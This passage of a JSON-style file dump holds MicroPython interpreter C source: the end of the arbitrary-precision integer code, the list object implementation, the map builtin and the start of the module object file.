MP_BINARY_OP_LESS_EQUAL:\n                return mp_obj_new_bool(cmp <= 0);\n            case MP_BINARY_OP_MORE_EQUAL:\n                return mp_obj_new_bool(cmp >= 0);\n            case MP_BINARY_OP_EQUAL:\n                return mp_obj_new_bool(cmp == 0);\n\n            default:\n                return MP_OBJ_NULL; // op not supported\n        }\n    }\n}\n\n#if MICROPY_PY_BUILTINS_POW3\nSTATIC mpz_t *mp_mpz_for_int(mp_obj_t arg, mpz_t *temp) {\n    if (MP_OBJ_IS_SMALL_INT(arg)) {\n        mpz_init_from_int(temp, MP_OBJ_SMALL_INT_VALUE(arg));\n        return temp;\n    } else {\n        mp_obj_int_t *arp_p = MP_OBJ_TO_PTR(arg);\n        return &(arp_p->mpz);\n    }\n}\n\nmp_obj_t mp_obj_int_pow3(mp_obj_t base, mp_obj_t exponent,  mp_obj_t modulus) {\n    if (!MP_OBJ_IS_INT(base) || !MP_OBJ_IS_INT(exponent) || !MP_OBJ_IS_INT(modulus)) {\n        mp_raise_TypeError(\"pow() with 3 arguments requires integers\");\n    } else {\n        mp_obj_t result = mp_obj_new_int_from_ull(0); // Use the _from_ull version as this forces an mpz int\n        mp_obj_int_t *res_p = (mp_obj_int_t *) MP_OBJ_TO_PTR(result);\n\n        mpz_t l_temp, r_temp, m_temp;\n        mpz_t *lhs = mp_mpz_for_int(base,     &l_temp);\n        mpz_t *rhs = mp_mpz_for_int(exponent, &r_temp);\n        mpz_t *mod = mp_mpz_for_int(modulus,  &m_temp);\n\n        mpz_pow3_inpl(&(res_p->mpz), lhs, rhs, mod);\n\n        if (lhs == &l_temp) { mpz_deinit(lhs); }\n        if (rhs == &r_temp) { mpz_deinit(rhs); }\n        if (mod == &m_temp) { mpz_deinit(mod); }\n        return result;\n    }\n}\n#endif\n\nmp_obj_t mp_obj_new_int(mp_int_t value) {\n    if (MP_SMALL_INT_FITS(value)) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    return mp_obj_new_int_from_ll(value);\n}\n\nmp_obj_t mp_obj_new_int_from_ll(long long val) {\n    mp_obj_int_t *o = mp_obj_int_new_mpz();\n    mpz_set_from_ll(&o->mpz, val, true);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_obj_t mp_obj_new_int_from_ull(unsigned long long val) {\n    mp_obj_int_t *o = mp_obj_int_new_mpz();\n    mpz_set_from_ll(&o->mpz, val, false);\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_obj_t mp_obj_new_int_from_uint(mp_uint_t value) {\n    // SMALL_INT accepts only signed numbers, so make sure the input\n    // value fits completely in the small-int positive range.\n    if ((value & ~MP_SMALL_INT_POSITIVE_MASK) == 0) {\n        return MP_OBJ_NEW_SMALL_INT(value);\n    }\n    return mp_obj_new_int_from_ull(value);\n}\n\nmp_obj_t mp_obj_new_int_from_str_len(const char **str, size_t len, bool neg, unsigned int base) {\n    mp_obj_int_t *o = mp_obj_int_new_mpz();\n    size_t n = mpz_set_from_str(&o->mpz, *str, len, neg, base);\n    *str += n;\n    return MP_OBJ_FROM_PTR(o);\n}\n\nmp_int_t mp_obj_int_get_truncated(mp_const_obj_t self_in) {\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        return MP_OBJ_SMALL_INT_VALUE(self_in);\n    } else {\n        const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n        // hash returns actual int value if it fits in mp_int_t\n        return mpz_hash(&self->mpz);\n    }\n}\n\nmp_int_t mp_obj_int_get_checked(mp_const_obj_t self_in) {\n    if (MP_OBJ_IS_SMALL_INT(self_in)) {\n        return MP_OBJ_SMALL_INT_VALUE(self_in);\n    } else {\n        const mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n        mp_int_t value;\n        if (mpz_as_int_checked(&self->mpz, &value)) {\n            return value;\n        } else {\n            // overflow\n            mp_raise_msg(&mp_type_OverflowError, \"overflow converting long int to machine word\");\n        }\n    }\n}\n\n#if MICROPY_PY_BUILTINS_FLOAT\nmp_float_t mp_obj_int_as_float_impl(mp_obj_t self_in) {\n    assert(MP_OBJ_IS_TYPE(self_in, &mp_type_int));\n    mp_obj_int_t *self = MP_OBJ_TO_PTR(self_in);\n    return mpz_as_float(&self->mpz);\n}\n#endif\n\n#endif\n"
  },
  {
    "path": "micropython/source/py/objlist.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <string.h>\n#include <assert.h>\n\n#include \"py/nlr.h\"\n#include \"py/objlist.h\"\n#include \"py/runtime0.h\"\n#include \"py/runtime.h\"\n#include \"py/stackctrl.h\"\n\nSTATIC mp_obj_t mp_obj_new_list_iterator(mp_obj_t list, size_t cur, mp_obj_iter_buf_t *iter_buf);\nSTATIC mp_obj_list_t *list_new(size_t n);\nSTATIC mp_obj_t list_extend(mp_obj_t self_in, mp_obj_t arg_in);\nSTATIC mp_obj_t list_pop(size_t n_args, const mp_obj_t *args);\n\n// TODO: Move to mpconfig.h\n#define LIST_MIN_ALLOC 4\n\n/******************************************************************************/\n/* list                                                                       */\n\nSTATIC void list_print(const mp_print_t *print, mp_obj_t o_in, mp_print_kind_t kind) {\n    mp_obj_list_t *o = MP_OBJ_TO_PTR(o_in);\n    if (!(MICROPY_PY_UJSON && kind == PRINT_JSON)) {\n        kind = PRINT_REPR;\n    }\n    mp_print_str(print, \"[\");\n    for (size_t i = 0; i < o->len; i++) {\n        if (i > 0) {\n            mp_print_str(print, \", \");\n        }\n        mp_obj_print_helper(print, o->items[i], kind);\n    }\n    mp_print_str(print, \"]\");\n}\n\nSTATIC mp_obj_t list_extend_from_iter(mp_obj_t list, mp_obj_t iterable) {\n    mp_obj_t iter = mp_getiter(iterable, NULL);\n    mp_obj_t item;\n    while ((item = mp_iternext(iter)) != MP_OBJ_STOP_ITERATION) {\n        mp_obj_list_append(list, item);\n    }\n    return list;\n}\n\nSTATIC mp_obj_t list_make_new(const mp_obj_type_t *type_in, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    (void)type_in;\n    mp_arg_check_num(n_args, n_kw, 0, 1, false);\n\n    switch (n_args) {\n        case 0:\n            // return a new, empty list\n            return mp_obj_new_list(0, NULL);\n\n        case 1:\n        default: {\n            // make list from iterable\n            // TODO: optimize list/tuple\n            mp_obj_t list = mp_obj_new_list(0, NULL);\n            return list_extend_from_iter(list, args[0]);\n        }\n    }\n}\n\n// Don't pass MP_BINARY_OP_NOT_EQUAL here\nSTATIC bool list_cmp_helper(mp_uint_t op, mp_obj_t self_in, mp_obj_t another_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    if (!MP_OBJ_IS_TYPE(another_in, &mp_type_list)) {\n        return false;\n    }\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_list_t *another = MP_OBJ_TO_PTR(another_in);\n\n    return mp_seq_cmp_objs(op, self->items, self->len, another->items, another->len);\n}\n\nSTATIC mp_obj_t list_unary_op(mp_uint_t op, mp_obj_t self_in) {\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    switch (op) {\n        case MP_UNARY_OP_BOOL: return mp_obj_new_bool(self->len != 0);\n        case MP_UNARY_OP_LEN: return MP_OBJ_NEW_SMALL_INT(self->len);\n        #if MICROPY_PY_SYS_GETSIZEOF\n        case MP_UNARY_OP_SIZEOF: {\n            size_t sz = sizeof(*self) + sizeof(mp_obj_t) * self->alloc;\n            return MP_OBJ_NEW_SMALL_INT(sz);\n        }\n        #endif\n        default: return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t list_binary_op(mp_uint_t op, mp_obj_t lhs, mp_obj_t rhs) {\n    mp_obj_list_t *o = MP_OBJ_TO_PTR(lhs);\n    switch (op) {\n        case MP_BINARY_OP_ADD: {\n            if (!MP_OBJ_IS_TYPE(rhs, &mp_type_list)) {\n                return MP_OBJ_NULL; // op not supported\n            }\n            mp_obj_list_t *p = MP_OBJ_TO_PTR(rhs);\n            mp_obj_list_t *s = list_new(o->len + p->len);\n            mp_seq_cat(s->items, o->items, o->len, p->items, p->len, mp_obj_t);\n            return MP_OBJ_FROM_PTR(s);\n        }\n        case MP_BINARY_OP_INPLACE_ADD: {\n            list_extend(lhs, rhs);\n            return lhs;\n        }\n        case MP_BINARY_OP_MULTIPLY: {\n            mp_int_t n;\n            if (!mp_obj_get_int_maybe(rhs, &n)) {\n                return MP_OBJ_NULL; // op not supported\n            }\n            if (n < 0) {\n                n = 0;\n            }\n            mp_obj_list_t *s = list_new(o->len * n);\n            mp_seq_multiply(o->items, sizeof(*o->items), o->len, n, s->items);\n            return MP_OBJ_FROM_PTR(s);\n        }\n        case MP_BINARY_OP_EQUAL:\n        case MP_BINARY_OP_LESS:\n        case MP_BINARY_OP_LESS_EQUAL:\n        case MP_BINARY_OP_MORE:\n        case MP_BINARY_OP_MORE_EQUAL:\n            return mp_obj_new_bool(list_cmp_helper(op, lhs, rhs));\n\n        default:\n            return MP_OBJ_NULL; // op not supported\n    }\n}\n\nSTATIC mp_obj_t list_subscr(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    if (value == MP_OBJ_NULL) {\n        // delete\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n            mp_bound_slice_t slice;\n            if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) {\n                mp_raise_NotImplementedError(\"\");\n            }\n\n            mp_int_t len_adj = slice.start - slice.stop;\n            //printf(\"Len adj: %d\\n\", len_adj);\n            assert(len_adj <= 0);\n            mp_seq_replace_slice_no_grow(self->items, self->len, slice.start, slice.stop, self->items/*NULL*/, 0, sizeof(*self->items));\n            // Clear \"freed\" elements at the end of list\n            mp_seq_clear(self->items, self->len + len_adj, self->len, sizeof(*self->items));\n            self->len += len_adj;\n            return mp_const_none;\n        }\n#endif\n        mp_obj_t args[2] = {self_in, index};\n        list_pop(2, args);\n        return mp_const_none;\n    } else if (value == MP_OBJ_SENTINEL) {\n        // load\n        mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_bound_slice_t slice;\n            if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice)) {\n                return mp_seq_extract_slice(self->len, self->items, &slice);\n            }\n            mp_obj_list_t *res = list_new(slice.stop - slice.start);\n            mp_seq_copy(res->items, self->items + slice.start, res->len, mp_obj_t);\n            return MP_OBJ_FROM_PTR(res);\n        }\n#endif\n        size_t index_val = mp_get_index(self->base.type, self->len, index, false);\n        return self->items[index_val];\n    } else {\n#if MICROPY_PY_BUILTINS_SLICE\n        if (MP_OBJ_IS_TYPE(index, &mp_type_slice)) {\n            mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n            size_t value_len; mp_obj_t *value_items;\n            mp_obj_get_array(value, &value_len, &value_items);\n            mp_bound_slice_t slice_out;\n            if (!mp_seq_get_fast_slice_indexes(self->len, index, &slice_out)) {\n                mp_raise_NotImplementedError(\"\");\n            }\n            mp_int_t len_adj = value_len - (slice_out.stop - slice_out.start);\n            //printf(\"Len adj: %d\\n\", len_adj);\n            if (len_adj > 0) {\n                if (self->len + len_adj > self->alloc) {\n                    // TODO: Might optimize memory copies here by checking if block can\n                    // be grown inplace or not\n                    self->items = m_renew(mp_obj_t, self->items, self->alloc, self->len + len_adj);\n                    self->alloc = self->len + len_adj;\n                }\n                mp_seq_replace_slice_grow_inplace(self->items, self->len,\n                    slice_out.start, slice_out.stop, value_items, value_len, len_adj, sizeof(*self->items));\n            } else {\n                mp_seq_replace_slice_no_grow(self->items, self->len,\n                    slice_out.start, slice_out.stop, value_items, value_len, sizeof(*self->items));\n                // Clear \"freed\" elements at the end of list\n                mp_seq_clear(self->items, self->len + len_adj, self->len, sizeof(*self->items));\n                // TODO: apply allocation policy re: alloc_size\n            }\n            self->len += len_adj;\n            return mp_const_none;\n        }\n#endif\n        mp_obj_list_store(self_in, index, value);\n        return mp_const_none;\n    }\n}\n\nSTATIC mp_obj_t list_getiter(mp_obj_t o_in, mp_obj_iter_buf_t *iter_buf) {\n    return mp_obj_new_list_iterator(o_in, 0, iter_buf);\n}\n\nmp_obj_t mp_obj_list_append(mp_obj_t self_in, mp_obj_t arg) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    if (self->len >= self->alloc) {\n        self->items = m_renew(mp_obj_t, self->items, self->alloc, self->alloc * 2);\n        self->alloc *= 2;\n        mp_seq_clear(self->items, self->len + 1, self->alloc, sizeof(*self->items));\n    }\n    self->items[self->len++] = arg;\n    return mp_const_none; // return None, as per CPython\n}\n\nSTATIC mp_obj_t list_extend(mp_obj_t self_in, mp_obj_t arg_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    if (MP_OBJ_IS_TYPE(arg_in, &mp_type_list)) {\n        mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n        mp_obj_list_t *arg = MP_OBJ_TO_PTR(arg_in);\n\n        if (self->len + arg->len > self->alloc) {\n            // TODO: use alloc policy for \"4\"\n            self->items = m_renew(mp_obj_t, self->items, self->alloc, self->len + arg->len + 4);\n            self->alloc = self->len + arg->len + 4;\n            mp_seq_clear(self->items, self->len + arg->len, self->alloc, sizeof(*self->items));\n        }\n\n        memcpy(self->items + self->len, arg->items, sizeof(mp_obj_t) * arg->len);\n        self->len += arg->len;\n    } else {\n        list_extend_from_iter(self_in, arg_in);\n    }\n    return mp_const_none; // return None, as per CPython\n}\n\nSTATIC mp_obj_t list_pop(size_t n_args, const mp_obj_t *args) {\n    mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(args[0]);\n    if (self->len == 0) {\n        mp_raise_msg(&mp_type_IndexError, \"pop from empty list\");\n    }\n    size_t index = mp_get_index(self->base.type, self->len, n_args == 1 ? MP_OBJ_NEW_SMALL_INT(-1) : args[1], false);\n    mp_obj_t ret = self->items[index];\n    self->len -= 1;\n    memmove(self->items + index, self->items + index + 1, (self->len - index) * sizeof(mp_obj_t));\n    // Clear stale pointer from slot which just got freed to prevent GC issues\n    self->items[self->len] = MP_OBJ_NULL;\n    if (self->alloc > LIST_MIN_ALLOC && self->alloc > 2 * self->len) {\n        self->items = m_renew(mp_obj_t, self->items, self->alloc, self->alloc/2);\n        self->alloc /= 2;\n    }\n    return ret;\n}\n\nSTATIC void mp_quicksort(mp_obj_t *head, mp_obj_t *tail, mp_obj_t key_fn, mp_obj_t binop_less_result) {\n    MP_STACK_CHECK();\n    while (head < tail) {\n        mp_obj_t *h = head - 1;\n        mp_obj_t *t = tail;\n        mp_obj_t v = key_fn == MP_OBJ_NULL ? tail[0] : mp_call_function_1(key_fn, tail[0]); // get pivot using key_fn\n        for (;;) {\n            do ++h; while (h < t && mp_binary_op(MP_BINARY_OP_LESS, key_fn == MP_OBJ_NULL ? h[0] : mp_call_function_1(key_fn, h[0]), v) == binop_less_result);\n            do --t; while (h < t && mp_binary_op(MP_BINARY_OP_LESS, v, key_fn == MP_OBJ_NULL ? t[0] : mp_call_function_1(key_fn, t[0])) == binop_less_result);\n            if (h >= t) break;\n            mp_obj_t x = h[0];\n            h[0] = t[0];\n            t[0] = x;\n        }\n        mp_obj_t x = h[0];\n        h[0] = tail[0];\n        tail[0] = x;\n        // do the smaller recursive call first, to keep stack within O(log(N))\n        if (t - head < tail - h - 1) {\n            mp_quicksort(head, t, key_fn, binop_less_result);\n            head = h + 1;\n        } else {\n            mp_quicksort(h + 1, tail, key_fn, binop_less_result);\n            tail = t;\n        }\n    }\n}\n\n// TODO Python defines sort to be stable but ours is not\nmp_obj_t mp_obj_list_sort(size_t n_args, const mp_obj_t *pos_args, mp_map_t *kw_args) {\n    static const mp_arg_t allowed_args[] = {\n        { MP_QSTR_key, MP_ARG_KW_ONLY | MP_ARG_OBJ, {.u_rom_obj = MP_ROM_PTR(&mp_const_none_obj)} },\n        { MP_QSTR_reverse, MP_ARG_KW_ONLY | MP_ARG_BOOL, {.u_bool = false} },\n    };\n\n    // parse args\n    struct {\n        mp_arg_val_t key, reverse;\n    } args;\n    mp_arg_parse_all(n_args - 1, pos_args + 1, kw_args,\n        MP_ARRAY_SIZE(allowed_args), allowed_args, (mp_arg_val_t*)&args);\n\n    mp_check_self(MP_OBJ_IS_TYPE(pos_args[0], &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(pos_args[0]);\n\n    if (self->len > 1) {\n        mp_quicksort(self->items, self->items + self->len - 1,\n                     args.key.u_obj == mp_const_none ? MP_OBJ_NULL : args.key.u_obj,\n                     args.reverse.u_bool ? mp_const_false : mp_const_true);\n    }\n\n    return mp_const_none;\n}\n\nSTATIC mp_obj_t list_clear(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    self->len = 0;\n    self->items = m_renew(mp_obj_t, self->items, self->alloc, LIST_MIN_ALLOC);\n    self->alloc = LIST_MIN_ALLOC;\n    mp_seq_clear(self->items, 0, self->alloc, sizeof(*self->items));\n    return mp_const_none;\n}\n\nSTATIC mp_obj_t list_copy(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    return mp_obj_new_list(self->len, self->items);\n}\n\nSTATIC mp_obj_t list_count(mp_obj_t self_in, mp_obj_t value) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    return mp_seq_count_obj(self->items, self->len, value);\n}\n\nSTATIC mp_obj_t list_index(size_t n_args, const mp_obj_t *args) {\n    mp_check_self(MP_OBJ_IS_TYPE(args[0], &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(args[0]);\n    return mp_seq_index_obj(self->items, self->len, n_args, args);\n}\n\nSTATIC mp_obj_t list_insert(mp_obj_t self_in, mp_obj_t idx, mp_obj_t obj) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    // insert has its own strange index logic\n    mp_int_t index = MP_OBJ_SMALL_INT_VALUE(idx);\n    if (index < 0) {\n         index += self->len;\n    }\n    if (index < 0) {\n         index = 0;\n    }\n    if ((size_t)index > self->len) {\n         index = self->len;\n    }\n\n    mp_obj_list_append(self_in, mp_const_none);\n\n    for (mp_int_t i = self->len-1; i > index; i--) {\n         self->items[i] = self->items[i-1];\n    }\n    self->items[index] = obj;\n\n    return mp_const_none;\n}\n\nmp_obj_t mp_obj_list_remove(mp_obj_t self_in, mp_obj_t value) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_t args[] = {self_in, value};\n    args[1] = list_index(2, args);\n    list_pop(2, args);\n\n    return mp_const_none;\n}\n\nSTATIC mp_obj_t list_reverse(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_list));\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n\n    mp_int_t len = self->len;\n    for (mp_int_t i = 0; i < len/2; i++) {\n         mp_obj_t a = self->items[i];\n         self->items[i] = self->items[len-i-1];\n         self->items[len-i-1] = a;\n    }\n\n    return mp_const_none;\n}\n\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(list_append_obj, mp_obj_list_append);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(list_extend_obj, list_extend);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(list_clear_obj, list_clear);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(list_copy_obj, list_copy);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(list_count_obj, list_count);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(list_index_obj, 2, 4, list_index);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_3(list_insert_obj, list_insert);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_VAR_BETWEEN(list_pop_obj, 1, 2, list_pop);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_2(list_remove_obj, mp_obj_list_remove);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_1(list_reverse_obj, list_reverse);\nSTATIC MP_DEFINE_CONST_FUN_OBJ_KW(list_sort_obj, 1, mp_obj_list_sort);\n\nSTATIC const mp_rom_map_elem_t list_locals_dict_table[] = {\n    { MP_ROM_QSTR(MP_QSTR_append), MP_ROM_PTR(&list_append_obj) },\n    { MP_ROM_QSTR(MP_QSTR_clear), MP_ROM_PTR(&list_clear_obj) },\n    { MP_ROM_QSTR(MP_QSTR_copy), MP_ROM_PTR(&list_copy_obj) },\n    { MP_ROM_QSTR(MP_QSTR_count), MP_ROM_PTR(&list_count_obj) },\n    { MP_ROM_QSTR(MP_QSTR_extend), MP_ROM_PTR(&list_extend_obj) },\n    { MP_ROM_QSTR(MP_QSTR_index), MP_ROM_PTR(&list_index_obj) },\n    { MP_ROM_QSTR(MP_QSTR_insert), MP_ROM_PTR(&list_insert_obj) },\n    { MP_ROM_QSTR(MP_QSTR_pop), MP_ROM_PTR(&list_pop_obj) },\n    { MP_ROM_QSTR(MP_QSTR_remove), MP_ROM_PTR(&list_remove_obj) },\n    { MP_ROM_QSTR(MP_QSTR_reverse), MP_ROM_PTR(&list_reverse_obj) },\n    { MP_ROM_QSTR(MP_QSTR_sort), MP_ROM_PTR(&list_sort_obj) },\n};\n\nSTATIC MP_DEFINE_CONST_DICT(list_locals_dict, list_locals_dict_table);\n\nconst mp_obj_type_t mp_type_list = {\n    { &mp_type_type },\n    .name = MP_QSTR_list,\n    .print = list_print,\n    .make_new = list_make_new,\n    .unary_op = list_unary_op,\n    .binary_op = list_binary_op,\n    .subscr = list_subscr,\n    .getiter = list_getiter,\n    .locals_dict = (mp_obj_dict_t*)&list_locals_dict,\n};\n\nvoid mp_obj_list_init(mp_obj_list_t *o, size_t n) {\n    o->base.type = &mp_type_list;\n    o->alloc = n < LIST_MIN_ALLOC ? LIST_MIN_ALLOC : n;\n    o->len = n;\n    o->items = m_new(mp_obj_t, o->alloc);\n    mp_seq_clear(o->items, n, o->alloc, sizeof(*o->items));\n}\n\nSTATIC mp_obj_list_t *list_new(size_t n) {\n    mp_obj_list_t *o = m_new_obj(mp_obj_list_t);\n    mp_obj_list_init(o, n);\n    return o;\n}\n\nmp_obj_t mp_obj_new_list(size_t n, mp_obj_t *items) {\n    mp_obj_list_t *o = list_new(n);\n    if (items != NULL) {\n        for (size_t i = 0; i < n; i++) {\n            o->items[i] = items[i];\n        }\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nvoid mp_obj_list_get(mp_obj_t self_in, size_t *len, mp_obj_t **items) {\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    *len = self->len;\n    *items = self->items;\n}\n\nvoid mp_obj_list_set_len(mp_obj_t self_in, size_t len) {\n    // trust that the caller knows what it's doing\n    // TODO realloc if len got much smaller than alloc\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    self->len = len;\n}\n\nvoid mp_obj_list_store(mp_obj_t self_in, mp_obj_t index, mp_obj_t value) {\n    mp_obj_list_t *self = MP_OBJ_TO_PTR(self_in);\n    size_t i = mp_get_index(self->base.type, self->len, index, false);\n    self->items[i] = value;\n}\n\n/******************************************************************************/\n/* list iterator                                                              */\n\ntypedef struct _mp_obj_list_it_t {\n    mp_obj_base_t base;\n    mp_fun_1_t iternext;\n    mp_obj_t list;\n    size_t cur;\n} mp_obj_list_it_t;\n\nSTATIC mp_obj_t list_it_iternext(mp_obj_t self_in) {\n    mp_obj_list_it_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_list_t *list = MP_OBJ_TO_PTR(self->list);\n    if (self->cur < list->len) {\n        mp_obj_t o_out = list->items[self->cur];\n        self->cur += 1;\n        return o_out;\n    } else {\n        return MP_OBJ_STOP_ITERATION;\n    }\n}\n\nmp_obj_t mp_obj_new_list_iterator(mp_obj_t list, size_t cur, mp_obj_iter_buf_t *iter_buf) {\n    assert(sizeof(mp_obj_list_it_t) <= sizeof(mp_obj_iter_buf_t));\n    mp_obj_list_it_t *o = (mp_obj_list_it_t*)iter_buf;\n    o->base.type = &mp_type_polymorph_iter;\n    o->iternext = list_it_iternext;\n    o->list = list;\n    o->cur = cur;\n    return MP_OBJ_FROM_PTR(o);\n}\n"
  },
  {
    "path": "micropython/source/py/objmap.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN\n * THE SOFTWARE.\n */\n\n#include <stdlib.h>\n#include <assert.h>\n\n#include \"py/runtime.h\"\n\ntypedef struct _mp_obj_map_t {\n    mp_obj_base_t base;\n    size_t n_iters;\n    mp_obj_t fun;\n    mp_obj_t iters[];\n} mp_obj_map_t;\n\nSTATIC mp_obj_t map_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *args) {\n    mp_arg_check_num(n_args, n_kw, 2, MP_OBJ_FUN_ARGS_MAX, false);\n    mp_obj_map_t *o = m_new_obj_var(mp_obj_map_t, mp_obj_t, n_args - 1);\n    o->base.type = type;\n    o->n_iters = n_args - 1;\n    o->fun = args[0];\n    for (size_t i = 0; i < n_args - 1; i++) {\n        o->iters[i] = mp_getiter(args[i + 1], NULL);\n    }\n    return MP_OBJ_FROM_PTR(o);\n}\n\nSTATIC mp_obj_t map_iternext(mp_obj_t self_in) {\n    mp_check_self(MP_OBJ_IS_TYPE(self_in, &mp_type_map));\n    mp_obj_map_t *self = MP_OBJ_TO_PTR(self_in);\n    mp_obj_t *nextses = m_new(mp_obj_t, self->n_iters);\n\n    for (size_t i = 0; i < self->n_iters; i++) {\n        mp_obj_t next = mp_iternext(self->iters[i]);\n        if (next == MP_OBJ_STOP_ITERATION) {\n            m_del(mp_obj_t, nextses, self->n_iters);\n            return MP_OBJ_STOP_ITERATION;\n        }\n        nextses[i] = next;\n    }\n    return mp_call_function_n_kw(self->fun, self->n_iters, 0, nextses);\n}\n\nconst mp_obj_type_t mp_type_map = {\n    { &mp_type_type },\n    .name = MP_QSTR_map,\n    .make_new = map_make_new,\n    .getiter = mp_identity_getiter,\n    .iternext = map_iternext,\n};\n"
  },
  {
    "path": "micropython/source/py/objmodule.c",
    "content": "/*\n * This file is part of the MicroPython project, http://micropython.org/\n *\n * The MIT License (MIT)\n *\n * Copyright (c) 2013, 2014 Damien P. George\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n *\n * The above copyright notice and this permission notice shall be included in\n * all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND 